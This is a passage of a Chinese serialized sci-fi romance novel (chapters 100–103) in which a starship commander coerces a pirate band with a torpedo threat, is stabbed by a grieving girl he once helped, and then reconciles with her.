另一个湛蓝色眼睛的高大身影闻言道：“我严格按照目的坐标落地的, 你在说别人坏话的时候注意一下当事人是否在场。” 而最后一个黑眸的瘦削人影也从手里的导航仪面板上抬起眼来, 眼神凌厉：“往北走。” 闻铮低声道：“把相位枪准备好, 这里距离坐标点不远。” 裴简珩和赫尔颔首，把相位枪都拿在了手里, 再用长一点的袖子遮挡了一下。 刨去裴简珩是战士不说，赫尔虽然是医生, 也是热爱和平与和谐的艾尔文种族，但他也做了很多年的战地医生，格斗水平和实地经验不比凯利斯逊色多少，在星舰上必须要留大副留守的时候，医生也不得不弃医从武了。 他们又顶着风沙走了十分钟，眼前出现了一片沙丘中的洼地。 导航仪发出了滴滴的声音，显然已经接近了那20万现金的坐标点。 闻铮朝这片洼地中看去, 看上去没有什么异样，空空如也。眯了眯眼，他从脚边捡起了一小块石头，朝着洼地正中丢了下去。 距离比较远，闻铮和赫尔都看不太清楚，但裴简珩却看得一清二楚。 石头呈现抛物线坠落，却在某一个角度卡了一秒，表面浮现出短暂的相位失调效果，只是转瞬即逝，马上又掉落到了地表上。 裴简珩收回目光，刚转向闻铮，就看发现他的闻哥已经在看着他等结果了。 闻铮穿着由星舰复制机复制出来的衣服，棕色的布料挡住了下半脸，只余那一双大而挑的黑色眼睛直直地看过来，轻微仰视的角度让他眼底的信任和小小的依赖一览无余。 和那个时候一模一样。 裴简珩无意识地笑了一下，很有几分怀念。他指了指下面的洼地：“那里有隐形罩。” “果然……” 闻铮眯起了眼睛，20万现金的坐标也正显示在下面，他猜也猜得到这帮魁斗星盗是利用多个逃生舰的交互式隐形功能在这里藏身。 现在的问题就在于…… 就在他沉吟的当口，裴简珩却听到了相位枪加载的声音，夹杂在风沙声中确实几不可闻，但对他来说清晰得宛如就在耳边。 他右手架起相位枪，转身对准声音传来的方向，踏前一步挡在闻铮和赫尔的前面，连开三枪！ 在不清楚来人身份之前，他们的相位枪都设定在击晕麻痹档位，他三发皆中，右前方传来了三声肉|体倒地的声音。 闻铮的神色也冷硬下来，他知道这帮星盗一定不会友好地欢迎他们。 不过呢，此一时彼一时，现在占据绝对武力地位的是他们，和那天不同，说得算的人可不是这帮星盗了。 破空的声音蓦地传来，闻铮警觉地抬眼，一个人影突兀地在半空中浮现，随即便咆哮着向他扑了过来！ 闻铮的反应很快，他立刻把相位枪对准了空中这个身影，连开两枪！但来人的身手也不简单，在半空中还能急急地翻身闪躲，只是刮破了一点皮，甚至速度都没降下来。 而下一秒，这个身影就将闻铮扑到了地上，双手就朝闻铮的脖颈扼去！ 闻铮用左手格挡，他的右手大拇指被卡住，按不下扳机，但他随即眼都不眨地用相位枪托猛击来人的肩膀，直到对方痛呼一声，整个右臂松了下去——是被闻铮毫不留情地打碎了肩膀右肱骨。 闻指挥官弯起了双眼：“好久不见。” 来人正是那艘魁斗星盗的女首领，她的右臂无力地垂在一边，左手也被闻铮的胳膊格挡住。 她面色扭曲地瞪着他，打斗之间，闻铮的面巾被扯乱，那张苍白又锐利的脸在凌乱的棕色布条之间美得令人过目难忘。 女首领从牙缝间漏出几个字：“是、你！” “你竟然还敢送上门来，”女首领咬牙切齿，“我这次一定要把你的皮一、点、一、点、地剥下来。” 闻铮意有所指地挑起唇角：“用什么剥？用你被我打断的右臂吗？” “别以为你这就赢了，”女首领神色阴鸷，“你们只有三个人，我还有三十个人马上就到！” “当然不会，这是一场很公平的对决，”闻铮的右脸梨涡分外明显，“你有三十个人，而我有一艘军用战舰。” 女首领一愣。 “你们这个小据点，我一枚光子鱼雷打过去，你们就连渣都不剩，而这样的鱼雷，我有三十六颗。” 她的眉心微跳，这句话有些耳熟，是上次打照面时她的威胁与羞辱，这次从他的嘴里说出来，倒是刺耳得很。 ——操！这个什么闻指挥官，还真是睚眦必报！ 闻铮就那么躺在地上，也不挣扎：“凯利斯，对准坐标所在地，听我命令，五秒后发射光子鱼雷。” 女首领眯起眼睛，藏起眼底的一丝慌乱：“你少虚张声势——” 凯利斯的声音从耳麦里公放出来：“收到，鱼雷已校准，五秒后发射。” 冷冰冰的机械音响起。 “五——” 闻铮看向还试图掐向自己脖子的女首领，莞尔一笑：“你赌得起吗？” “三——” 女首领蓦地从他身上弹起来，示意剩下六个和裴简珩与赫尔正在缠斗的魁斗星盗停止打斗。 这个男人说得没错，她的家人们都在下面，她赌不起！ “二——” “攻击暂停，”闻铮淡淡道，“等我命令。” 机械音倒计时消失，凯利斯的声音再次轻快地出现：“是，长官。” 听到凯利斯下意识的这句话，闻铮也有一瞬间的晃神，好像回到了悬空号时期一般。 不过一瞬，他又拉回神智。 闻铮从地上站起来，拍了拍身上沾着的沙粒，环顾四周。这个女首领带了不少人过来，粗略一看也有二十多个。在他们打斗的这短短几分钟的时间里，裴简珩已经撂倒十几个了。 他对裴简珩颔首示意，后者仍然举着相位枪，和赫尔一起后退着回到了闻铮左右侧。 Alpha看了一眼闻铮，得到了闻哥一个让他放心的眼神，心里方才安定下来。 “你很明智，我也很欣赏你，”闻铮慢悠悠地整理好布料重新挡好自己的下半张脸，把上次这个女首领说他的话原封不动地奉还，“要再重新做一个交易吗？” 女首领磨了磨后槽牙，粗声道：“我也没有拒绝的权利了，不是吗？” 闻铮的目光扫过他们手里拿着的武器：“把你们的相位枪交出来，我们会代为保管的。” 女首领的脸色看上去马上就要进行无差别扫射了，但她知道，现在处在弱势的人，已经变成了自己。 她的目光冷冷地落在了眼前这个指挥官脸上，即使他重新遮好了那张艳丽的面容，但只凭那一双漆黑上挑的眼睛，她的心里就恨得直痒。 女首领把手里的相位枪丢在地上，还往地上啐了一口：“我真后悔，当时想哄她开心，留了你一命。不然你早就变成我休息舱墙上的人皮画摆件了！” “就算科技再怎么进步，也不会发明出后悔药这种东西。”闻铮让裴简珩把地上七零八落的相位枪都捡起来扔到了一边，虽然他心里有些疑惑，手里却还在若无其事地晃悠着自己那把相位枪，“不请我们下去坐坐吗？这样的态度不太友好吧？” 女首领怎么可能主动引狼入室，她站在那里，忍着胳膊被卸掉的痛苦，硬邦邦地说：“你不是要谈交易吗，就在这里谈。” “我不喜欢这个地方，”闻铮道，“风沙太大，吹得我脸痛。” 女首领怒：“你的脸根本没露在外面！” 闻铮收起了自己的相位枪：“为了展示交易的诚意，我就不拿着枪了，显得怪剑拔弩张的。” 他凑近了女首领，眼底泛着冷意：“为了你的船员着想，我相信你会带头表现的乖一点，对吗？” 女首领冷冷地回瞪着他，一言不发。 闻铮居高临下地垂眼看她：“我在问你问题，请回答我。” 她牙根都要咬碎，半晌才屈辱道：“……对。” “很好，”闻铮道，“那就带我们去参观一下吧。” 魁斗星盗们看着这一幕，也是怒气冲冲，但没办法，在光子鱼雷的碾压威力之下，他们也是敢怒不敢言。 赫尔扫过他们的表情，心里还有些微妙的快意。 这也没几天，上下风的处境180度调换，这帮当初嚣张至极的魁斗星盗，也终于体会到了破晓号当时的绝望和愤怒。 他的目光又落回了闻铮的身上，他对这个犟种Omega的第一感觉真的是一点都没错，又倔又狠，不管是对别人，还是对自己。 女首领别无他法，只能带他们三个从一条小路走下沙丘，前往那块被他们用隐形罩隐藏的洼地据点。 走了两分钟，她有些不死心地“提醒”：“你们敢在中立区发射光子鱼雷？联邦军部愿意为你们的鲁莽买单？!” “这就不劳你费心了，”闻铮说，“还是那句话，我敢冒这个险，你敢吗？”—— 作者有话说：把闻哥好帅打在公屏上！！ 感谢珍白雪w、34402499、西江月的营养液！掉落导航仪x1！《 》 100-110 第101章 你现在是在求我吗？ 她不敢。 即使她脑子里也在飞快地思索还能有什么其他破局之法, 但光子鱼雷的威胁却让现在的局势完全一边倒。 ——就和上次她胜券在握的时候一样。 就在他们踏上洼地的一瞬间，女首领眼底划过一道狠厉。 如果她现在把他们三个人一举击杀，只要让他们失去和那艘星舰的通讯, 谁会知道他们已经死—— “我劝你还是保持一个合作交易的态度, 不要想一些旁门左道。” 这个黑发人类好似有什么读心术，就在她脑海中划过这个想法的下一秒, 他就轻描淡写地开口：“我和我的大副有某种特定的联系信号，如果在固定时间内他没有接收到我的信息, 你猜猜光子鱼雷把你们的残肢烂肉混进脚底这些沙子里，一共需要几秒？” 女首领愕然中夹杂着怨恨的表情, 充斥了整个主屏幕。 凯利斯坐在他战术官的工位，右手就搭在光子鱼雷发射键位上。 黎晓也从轮机室来到了舰桥上, 以防不时之需。他耳边充斥着闻铮冰冷无情的声音, 佐以魁斗女首领难看至极的脸色, 让年轻轮机长在扳回一城暗爽的同时, 却也害怕地打了个激灵。 他有些犹豫地问：“闻哥……会真的发射光子鱼雷么？” 程迹抬眼瞥了他一眼：“当时这帮魁斗星盗对你们可是下了死手, 如果不是我，你们闻指挥官的皮现在就被挂在她休息舱的墙上。” “我们正在战争之中, 战争一向是你死我活，”程迹又垂下了眼睛, 面无表情，“你不下死手，死的就是你。” 黎晓张了张嘴，脸色通红：“不、我不是这个意思——” “你逗他干什么，”凯利斯微微侧身，似笑非笑地睨了程迹一眼，“他又没上过战场。” “以及, 我也提醒一下程院士，”凯利斯的话里好似暗藏机锋，“在《战争修整与互不干涉条约》签署后，我们现在正处于休战期间。第三次战争还没有打响，我们对生命的态度也应该回到敬畏和尊重的界限之内。” 程迹停下手里的动作，抬眼看向前方主屏幕前的凯利斯，眯了眯眼：“如果我没有想多的话，你似乎并不喜欢我。” “当然，”金发大副语气平淡，“我是Alpha，我喜欢Omega，不喜欢克米恩人。” 程迹：“……” 他不是这个意思，他相信凯利斯也知道。 在这种你来我往的机锋之下，聪明人都听得出来，凯利斯确实不喜欢他。 黎晓在一旁大气也不敢出，有点想回轮机室了…… 他强迫自己把目光移向主屏幕，看向闻哥胸前佩戴的隐形传感摄像头视角，“咦”了一声。 …… 星盗女首领无奈之下，只能把他们带进了她的隐形据点之内，踏进隐形罩，闻铮他们眼前就出现了几十艘逃生舰和临时搭起来的简易据点，粗粗一眼扫过去，大概得有五十人左右。 ……看来她没有夸大其词，她手下的人还真不少。 这五十多个魁斗星盗都以一种极为警惕和防备的目光看着他们三个，他们的脸被挡住了，但星盗们从眼睛的颜色也能很清楚地判断这几个人并不是魁斗人。 星盗女首领低声吩咐手下，让他带人去把刚刚交战中被击晕的人带回来。 她指了指其中一艘逃生舰：“不是要做交易吗？去我的船上谈吧。” 闻铮颔首，就在他们往女首领那艘逃生舰走去的时候，旁边一个魁斗星盗却突然惨叫一声，倒在地上痛苦地翻滚抽搐起来！ 离他最近的赫尔吓了一跳，下意识地摊开手表示不是自己干的，别碰瓷啊—— 出乎意料，魁斗星盗们却完全没有兴师问罪的意思。女首领连忙跑过去查看，让其他人赶快把他带去逃生舱里。 “等一下！” 艾尔文医疗官蓦地出声：“我是医疗官，他怎么了？” 女首领恶狠狠地瞪他一眼：“滚开！不用你管！” 她下意识地用自己的身体挡住那个魁斗星盗，但裴简珩却能看的一清二楚，他低声和闻铮描述：“他身上开始出现溃烂症状，眼睛和鼻子都在往外流棕色的血，眼睛的颜色也时深时浅。” 闻铮皱眉，这是什么情况…… 赫尔踏前一步：“你们已经没有主星舰了，只有逃生舱。逃生舱只会配备最基本的救急药物，对这种情况根本没用！如果你不让我检查，他很快就没有生命体征了——” 艾尔文医疗官边说边看向了自己的上司，后者对他轻轻点了点头。 得到了闻铮的允许，他更进一步：“从你们的反应来看，这不是第一个有这种情况的人了，你们还有多少人够再这么折损下去？” 女首领冷笑一声：“别好笑了！你们巴不得我们都死光才好，会有这么好心？” “我都说了是来和你们做个交易，”闻铮淡淡道，“是你自己不相信。” 赫尔从背包里掏出了医疗扫描仪，直接把挡在前面的魁斗星盗们推开：“不想他死就让开！” 态度有些松动的女首领都被他推得一个趔趄，回头无语：“……你们这个医生真的是艾尔文人？” 艾尔文种族不是都很优雅温和的吗？ 闻铮：“……” 裴简珩在一旁望天。 可能上过战场太多次了吧，也有可能赫尔本身就是艾尔文种族里的那朵奇葩…… 闻铮悄然观察着逃生舱的数量和在场的魁斗星盗人数，就算把刚刚被他们击倒的人也算上，数量也不对。 他踏前一步，低声问：“我的医疗官说得对，这类症状不止发生在一个人身上。从没听说过魁斗星盗有什么集体性的基因疾病，你们发生了什么事？” 女首领没说话，像一只守护自己领地的豹子一般浑身警戒地盯着赫尔。 赫尔拿着医疗扫描仪检测了魁斗星盗的生物信息和指标，淡色的眉毛越皱越紧，眼见魁斗星盗的血越流越多，医疗官又掏出针剂，眼疾手快地推进了他的静脉里。 女首领眉毛倒竖：“该死的！你对我的人注射了什么——” “暂冻剂，”赫尔从已经昏迷的魁斗星盗身边站起来，“先把他的身体机能都冷冻起来，否则再过几十个小时，他必死无疑。” 女首领愣住，神色晦暗不明。 闻铮对赫尔抬了抬下巴：“怎么回事？” 赫尔摇摇头：“具体的情况我需要用医疗舱的设备进行更精密的扫描和数据分析，但按照目前的生物指标来看，他受到了某种轻度放射性物质的辐射，体内器官已经开始产生衰败的迹象。” “放射性物质？”闻铮也皱起眉，转向了女首领，“你们怎么会暴露在放射性物质中？” 女首领让手下把进入冷冻状态的星盗和其他病发的人放到一起，犹豫了一下，转头问闻铮：“……能让你的医疗官把人也都进入冷冻状态吗？” 闻铮挑了挑眉：“我可以理解为，你现在是在求我吗？” 女首领脸色又开始铁青。 闻指挥官也不逗她了，对赫尔点了点头。 医疗官问其他魁斗星盗：“人都在哪里？带我去。” 女首领看着赫尔的背影，半晌才说：“走吧，进去聊。” 她带路朝自己的逃生舱走去，闻铮和裴简珩在她身后交换了一个眼神。 裴简珩把传感仪的悬浮屏推给闻铮：“闻哥，我检查了一下周边半径10公里的空气，这里没有任何放射性物质。” 这里没有，那这队魁斗星盗到底是去过哪里？ 闻铮若有所思，难道说，这个洼地并不是他们降落的第一现场？ 说话间，他们已经走到了女首领的逃生舰舱门前。 舱门闻声开启，女首领率先走了进去，还不忘回头挑衅：“我带你们来，你们就真的敢踏进来吗，闻指挥官？” 闻铮对她伸出右掌，五根手指的言外之意就是——光子鱼雷只需要五秒钟哦。 女首领翻了个白眼。 他刚要进去，裴简珩却上前一步挡在他前面，率先踏了进去。 闻铮脸色一沉，哪怕裴简珩是出于保护他的目的，但这种他自己以身试险的做法并不会让他高兴。 不过这里也不是说这些的好场合，所以他没说什么，跟在裴简珩身后也进入了逃生舱。 只是他还没来得及打量这艘魁斗星盗的逃生舱内室，就看见眼前一闪，一个人影朝他猛地扑了过来，手里的匕首闪着刺眼尖锐的光！ 闻铮下意识地往后一仰，右手一把抓住手持匕首的来者手腕，那手腕瘦弱纤细，却哪怕被闻铮用力攥到发颤都死不放开。 闻铮脸上围着的布料被匕首刺落，他目光微沉，刚要下手撅断来人的手腕，下一秒的目光却落在了匕首露出来的手柄上，目光紧缩！ 裴简珩自然也注意到了这边横生的变故，他知道闻铮的身手，也没有再来盲目地帮忙，而是立刻掏出相位枪对准了似乎还没反应过来的女首领，随后才喊道：“闻哥！您——” “噗嗤——” 匕首刺入血肉的声音。 裴简珩愕然地转过头，入眼的是已经插|入闻铮肩头的半截匕首，和正在汩汩流出的血。 闻铮把目光从肩头那把匕首，缓缓移到了来人那双充满着恨意和痛苦的眼睛上—— 作者有话说：有奖竞猜，是谁呢=3= 很简单！ 第102章 他不欠你的 在裴简珩看到闻铮肩头那把匕首的下一刻, 他的耳边一瞬轰鸣，脸色也难看至极。 这个年轻高大的Alpha垂下眉眼，毫不犹豫地对着似乎在喊着什么的女首领脚下开了一枪, 阻止了她的下一步动作。随后他朝闻铮的方向快走几步, 抬起腿就把背对他的那个瘦弱身影狠狠地踹到了一边！ 他神色阴鸷，这是闻铮第一次在他脸上看到这种神情, 那双湛蓝色的眼睛不再像平静宽容的海平面，而凝聚成了狂风暴雨的海啸。 在这一瞬间, 他才真正展露出在战场上活着厮杀出来的狠绝和冷漠，周遭的一切对他来说都没有了意义, 他满脑子都是他的闻哥那一声闷哼，和他肩头汩汩流出的血。 裴简珩面无表情地调高相位枪的档位, 抬手就对准了被他毫不留情踹到地上的身影！他的身体机能是S级Alpha的四倍, 这种力道之下, 那个带着兜帽的身影趴在地上, 连起都起不来了。 女首领的喊叫声响起：“不——！” “——简珩！” 和女首领的声音一起响起的, 是闻铮的声音。 他伸手盖住了裴简珩手里的相位枪口，强行把枪口按下来：“……我没事。” 裴简珩蓦地转过脸, 又急又气又担心，却又舍不得对闻铮发火, 那张俊美的脸上的表情都变得十分难看。 闻铮重复道：“松掉扳机，我没事。” 他用右手安抚地轻轻拍了拍裴简珩的腰侧，上前几步，也不管肩头还插着一把匕首，就这样在地上那个身影旁边蹲了下来。 闻铮伸到半空的手停滞了几秒钟，还是将那个人的兜帽摘了下来。 闻铮看着那张脸，那张已经被怨恨和痛苦取代了稚嫩与青涩的脸, 低声问：“你怎么在这里——” “——向星苑。” …… 电子眼的镜头上飞溅半滴血，让舰桥主屏幕上的画面右下角红到发黑，只余四分之三的画面还能看清楚。 而随着闻铮的动作，电子眼画面也定格在地上那个人的脸上。 和闻铮的话同时响起的，还有黎晓的失声惊叫！ 他猛地从椅子上站起来“——苑苑？！” 程迹看向他，眯起眼睛：“你认识这个女孩？” 黎晓没有说话，他震惊地看着主屏幕，根本不敢相信三月前那个清秀可爱的女孩子，竟然已经变成了一个眉目阴鸷满是恨意的人。 他摇了摇头，退后一步。 从他站起来以后，凯利斯一直在关注他的动作，看到黎晓准备往舰桥之外跑，立刻出声：“你要干什么去？” 闻铮不在，他这个第一大副就是这艘星舰上拥有最高话语权和决定权的人。 “我要相位穿梭过去。” 黎晓喉头滚动了两下：“我不知道她为什么在这里，我更不知道她为什么要对闻哥动手，但我知道如果我不去，这里面的误会只会越来越深！” 凯利斯皱眉：“你真的认识向星苑？” 暗影组的人都知道向星苑长什么样子，但他没想到黎晓也认得她，而且从他的话里可以判断出，他甚至有把握让向星苑信任他！ 凯利斯这句话一出来，愣住的人变成了黎晓：“你在说什么，你不知道吗？闻哥难道没有——” Omega好像意识到了什么，放低了声音，半晌才喃喃道：“……他真的替我保守了秘密，竟然连你都没有说。” 他理所当然地认为，他暗中帮了戈维和向星苑这件事，闻肯定会和手底下的人同步。却没想到他真的守口如瓶，连最信任的凯利斯都只字未提！ 凯利斯一头雾水：“……和我说什么？” 被凯利斯的声音叫回神，黎晓把那件事先抛之脑后，认真地注视着凯利斯碧色的眼睛：“说来话长，但请你相信我，我必须过去，我一定要过去！” …… 向星苑瘫在地上，裴简珩那毫不留情的一脚让她的五脏六腑都开始痛，肋骨也不知道断了几根。 她缓缓啐出一口血，冷笑起来：“没能杀了你，是我废物，要杀要剐，随便你！反正我早就死了！” “小苑！” 星盗女首领连忙扑到她身边，对裴简珩怒目而视：“她只是个小女孩，你竟然对她下死手？！” 裴简珩在看到向星苑以后也有些许惊讶，但女首领的这句话并没有对他产生任何的触动，他的语调依旧很冰冷：“她应该庆幸自己现在还活着。” 如果不是闻哥刚刚拦住了他，他是真的不知道自己会做出什么事情来。 他怎么能让闻铮在他面前受伤？！甚至那把匕首如果再靠近心脏一点—— 裴简珩想都不敢想。 闻铮对耳麦说：“赫尔，请带着急救设备立刻过来我这里。” 说完，他眼都不眨地将那把匕首从自己肩头拔了出来。 他垂眼看着匕首柄，又想到了他给金发少年包扎伤口的那个晚上，自言自语：“……戈维把它给你了。” 他低声问向星苑：“你现在应该在副3星系的克里斯托星球，为什么会出现在这里？” “你要不要把我也抓回去？”向星苑浑身上下能动的只有眼睛，但她丝毫没有掩饰眼底的怨毒，“把我扔到监狱里，让我也替欧睿偿命！让我和戈维都成为你和暗影组往上爬的垫脚石！” 她的话像一根毒针刺进闻铮的心里。 在这个瞬间，他又想到了那个很苦的小朋友，为了复仇甘愿被人利用，为了感情宁可失去生命。 而自己曾经暗自下定决心要保护他，却又一次没能履行承诺。 闻铮沉默了半晌，最后只能吐出一句沙哑的抱歉。 “垫脚石？” 裴简珩的声音却冷冰冰地响起：“你以为他能从戈维的死之中获得任何的好处吗？” “欧赫的负面舆情病毒式地发酵，为了让那些视频不被消失，你以为是谁违抗上级的直接命令，硬是把下一任星长的政治代表团队和律师团队拦在审讯室外？” “你们有钱吗？你以为是谁自掏腰包付了戈维的保释费用，又是谁花钱给他请了7号星最顶尖的辩护律师？” “戈维原本是要上成年法庭被判无期徒刑的，你以为又是谁和检察官交涉周旋才要来的特殊交易？” “向星苑，你以为你跑得掉吗？只要闻哥下了命令，哪怕商业舰已经进入了空间迁跃模式，也得立马掉头把嫌疑人带回来！你能这么顺利地离开，一点都猜不到是他故意放你走的吗？” “另外，你就不好奇为什么没有人抓你吗？你以为是谁费尽心机才想到了一个可以既给戈维减刑机会，又能放你走的两全之法？” 裴简珩越说越讥诮，他这种锋利的棱角和强势的攻击性，是闻铮从认识他以来从没见过的，一时之间连他甚至都愣住了。 等他反应过来，他有些无奈地出声制止：“……简珩，别说了。” 他不是一个习惯把自己做了什么事情都说出来的人，也不习惯用这些东西来为自己证明什么。 从另一个角度来说，哪怕他做了这么多，最后仍然保护不了戈维，难道不是更加的讽刺吗？ 但哪怕闻铮已经制止了他，裴简珩还是要把最后一句说完：“陆辰林苦，戈维苦，你也很苦，你当然可以恨，你可以恨欧睿，你可以恨欧赫，你甚至可以恨人类和联邦，可以恨这个宇宙的不公，但你唯独不能恨他。” 他从闻铮手里拿过那把匕首，他的视力很好，能看到匕首的手柄上刻着一个w的字母。他的听力也很好，闻铮那句“戈维把它给你了”也被他听得一清二楚，稍微动动脑子就知道这把匕首是谁的。 “就连这把匕首，都是闻哥给戈维的。”裴简珩把匕首扔到了向星苑眼前，在绝对的实力面前，他根本不担心她手里有武器。 “而你却想用他的善意杀了他。”裴简珩居高临下地俯视着她：“找其他人去恨吧，他不欠你什么。” 向星苑抬眼看着这个高大的银发Alpha，想到第一次见面的时候，他还很无奈地提溜着她的领子，明里暗里地和闻撒娇。 而现在，他挡在闻的前面，做他最忠诚和最强大的护卫犬。只要有人试图伤害闻，他就会扑上去把对方撕咬到体无完肤。 向星苑丝毫不怀疑，如果不是闻刚刚按下了他的枪口，自己早就死了。 而裴简珩说的每一个字，都像是一个个耳光，狠狠地打在了她的心上。 眼泪从她的眼角流下来，在唇边和血混在一起，滴滴答答地掉落在地上。 内心深处，她知道闻是她最不该恨的人，她怎么会不知道呢？ 她只是需要在世界崩塌的时刻找一个人来恨，这样的恨才能承载起她活下去的勇气和希望。 闻铮抬眼看向裴简珩的背影，他忠诚的下属、共鸣的朋友和契合的情人就这么死死地挡在自己前面。 他知道自己做的事情到底是为了什么，也珍惜他在这其中付出的所有努力。 他自己都习惯了做的事情不被看见和理解，但裴简珩，却会因此心疼他。 闻铮垂下眼，心底有些怅然。 上一次被这样保护和心疼的时候，还是十六年以前。 这时，相位穿梭的微弱声音响起，闻铮警惕地看过去，在相位穿梭的光晕消失后，面色慌张的黎晓出现了。 闻铮皱眉，厉声：“谁允许你来这里了？！” 这里这么乱，黎晓又不是上过战场的战士，出什么事怎么办？ 黎晓顾不上先回答闻铮，他连忙跑到向星苑身边，蹲下握住她的手：“苑苑——” 向星苑看到他，震惊地瞪大了眼睛：“黎晓哥……？你，你怎么会在这里？！”—— 作者有话说：论如何让一只看似温驯的大狗狗发疯 感谢34402499、珍白雪w、西江月、Coco的营养液！掉落匕首x1！ 第103章 先治他！ 黎晓蹲在她面前, 又急又气，还带着几分心疼，一时之间也说不出什么话来。 局势未明, 闻铮不想让黎晓在这里, 他没有战斗能力，如果事态升级, 他会有危险。 “凯利斯，”闻铮呼叫DEHWA-2075, “把黎晓相位穿梭回去。” 他第一次对黎晓冷下脸：“我晚点再和你算帐。” “闻哥！” 黎晓转过头，恳求地望着他：“给我五分钟好吗？求你了……” 闻铮垂眼看着他抱着向星苑在地上可怜地看向自己, 那条兔子吊坠的项链还犹在眼前，也许黎晓自己也没想到, 他还有再见到向星苑的一天。 他的心里某个地方软了一下, 默许了。 这时, 逃生舰的门感应开启, 赫尔拎着医疗箱匆匆忙忙地跑来, 急急问：“谁受伤了？” 下一秒他就看到了闻铮肩头的皮肉外翻血流不止的伤口，吓了一跳：“我天, 你这怎么回事！” 他把医疗修复仪从医疗箱掏出来，刚要对闻铮上手救治, 闻铮却微微躲闪了一下，示意了一下倒在地上动都动不了的向星苑：“我没事，先救她。” 此言一出，裴简珩又是脸色一沉。 他抓住闻铮的手腕，不再让他躲闪，对赫尔命令道：“先治他。” 医疗官：“……” 闻铮皱眉看向裴简珩：“你违抗我的命令？” 裴简珩还在气头上，第一次没有理他, 只是冷冷地看着赫尔：“向星苑一时半会儿死不了，你是星舰的医疗官，舰员才是你的第一优先级，先治你的舰长。” 一边是他上司的命令，一个是军衔高他好几级的长官的命令，赫尔在心里默念了三遍钱难挣屎难吃，还是先上手帮闻铮修复肩膀的伤口。 军用医疗修复仪很先进，不过三分钟的时间，闻铮的肩头已经恢复如初，除了衣服的破裂之外，没有任何迹象能表明曾经有一把锋利的匕首深深地刺入了他的肩头。 闻铮抿了抿薄薄的唇，淡淡道：“裴简珩，事后我们需要谈一下。” 裴简珩没有说话，他知道自己抗命让闻铮很生气，但他此刻只是盯着闻铮肩头被鲜血染红的衣服布料，一眨不眨。 而在这三分钟之内，黎晓也跪坐在向星苑旁边，把她脸上的眼泪和血轻轻地擦干净。 向星苑没有错过黎晓和闻铮刚刚的对话，惊异地重复：“闻哥？为什么你也叫他闻哥？” 黎晓的动作顿了一下，轻声道：“因为我加入了他的星舰。” 向星苑瞪大眼睛，难以置信，声音都有些颤抖：“为什么？！” “他知道，小苑，他都知道的。”黎晓叹了口气，“他知道你也是欧睿之死的从犯，也知道是我帮忙录下了欧赫的言论以及在星网上的大范围扩散。” 向星苑冷笑一声：“所以他威胁你？” “是因为他理解我，理解戈维，也理解你。”黎晓把她脸上的血都擦干净，“小苑，闻哥和你印象中那些Alpha都不一样，别再被恨意支配了，裴简珩说得对，你最不该恨的人就是他了。” 顿了一下，他又说：“否则，我们的命运都会和现在截然不同。” 向星苑没有说话，半晌，她才颤抖着声音问：“那我怎么办？黎晓哥，我恨他，恨欧睿，恨欧睿那个该死的星议员父亲，恨这个不公的世界！这些恨是让我撑到现在的动力，如果连恨都没有了，还有什么能让我活下去？” “我不会放弃找到戈维死亡的真相，我知道闻哥也不会放弃。固然我们此刻有着更大的使命，但没人会忘记他。”赫尔带着医疗箱过来救治向星苑，黎晓一边说一边往外撤了撤，“恨不是支撑你活下去的东西，对未来的希望才是。” 他把向星苑凌乱的头发掖到耳后，温柔地看着她：“陆辰林和戈维都希望你能替他们实现没能完成的梦想，他们不会想看到你这样，他们只希望你能开心快乐。” 向星苑闭上眼睛，她的睫毛剧烈地颤抖，忍了好一会儿才终于放声大哭。 这个也就十几岁的小女孩的哭声凄厉又痛苦，任谁听了都眼底发酸，就连什么都不知道的赫尔，一边给她治伤，一边都不忍心地转过头去。 闻铮心里发涩，他走上前去捡起了那把匕首，轻轻塞进了向星苑的手里。 “把它送给戈维的那一天，我和他说，’我知道你可以从苦难里变得更强大，只有活着，一切才有希望。’”闻铮蹲下来，看着向星苑消瘦到凹陷的脸，轻轻道，“现在我也把这句话说给你听，希望戈维没有机会做到的事，你可以替他做到。” 向星苑仰视着他，她那双兔子耳朵从刚刚开始就一直竖着并且向后倾斜，这是艾尼默兔属人仍然保留的兔子习性，在警惕和攻击的时候就会这样。 而此刻，那双耳朵却温驯地垂了下来，她又一次握紧了匕首柄，喃喃：“对不起……对不起。” 闻铮的手犹豫了一下，还是轻轻揉了揉她的头发。 …… “现在我知道，为什么在闻上将手底下待过的人，都会对他念念不忘了。” 程迹站在操作台后面，饶有趣味地看着主屏幕上传回来的画面，啧啧道。 “哪怕他已经离开星舰军部三年多了，曾经的悬空号舰员们依然对他死心塌地，”程迹感叹，“多少人宁可放弃升迁也要留在悬空号上，而不管派去了多少人做悬空号的舰长，他们都不满意。” 哪怕只是作为旁观者，他都受到了极大的触动，更不要说是被他如此对待的当事人，怎么可能不誓死忠诚？ 更别说在战争期间，在朝不保夕和种族危机当头的时候，有这样一个长官做指挥，有这样一个人挡在前面，谁又能不震撼？ 凯利斯转过来，这艘星舰上只剩下了他和程迹，所以他也懒得再装了：“你果然知道闻哥的身份，这每一步都是你设下的，你到底是什么目的？” 程迹微笑：“我已经说过了，我是真心来寻求合作的，为什么要对我这么大敌意呢，凯利斯大副。” “我也是真心地为了克米恩人的遭遇而痛心，”凯利斯缓缓道，“但我依然不相信你。你说不出来这艘德瓦战舰的来历，也说不清楚所谓的基因实验到底是怎么回事，更不肯提及那四千多年刑期的真实原因，难道我不应该对你抱有敌意吗？” “好吧，”程迹见状，干脆直接放弃自证，他耸了耸肩，“你不相信我，我也没有办法，但你们现在也没有别的选择。所以，不管你喜不喜欢我，都不重要了。” 凯利斯弯了弯眼睛，眼底却没有丝毫笑意：“我会盯着你的，程院士。” …… 而另一边，在向星苑想通以后，气氛倒是缓和了起来。 赫尔治好了向星苑的伤，用时十五分钟，虽然后续还需要修养一阵，但已经没有什么大碍了。 于是他们这些人，也终于可以坐下来好好谈一谈正事了。 女首领和向星苑坐在一边，其余四个人都坐在了对面。 女首领脸色还是有些不好看，但也没再发难，只是硬邦邦地问：“你们到底要什么？” 闻铮坐在另一边，右腿搭在了左膝盖上：“既然已经在谈合作了，不如先告诉我们你的名字？” 女首领顿了一下，说：“特娜伦。” “我就不自我介绍了，相信你也知道。”闻铮示意了一下身边其他的成员，“我的舵手、医疗官和轮机长。” 特娜伦挑眉：“所以你真的有一艘满载36发光子鱼雷的战舰？” “我骗你做什么？”闻铮泰然自若，“我从不骗人。” 特娜伦：“……” 你放屁！ 上一次骗我的是谁！ 特娜伦没好气地翻了个白眼：“回到最重要的事，你们到底要从我们身上得到什么？” “不，”闻铮淡淡道，“最重要的事情，是你们的人到底怎么了。” 特娜伦一怔。 ……他们这些魁斗星盗的命，怎么会是最重要的事？ 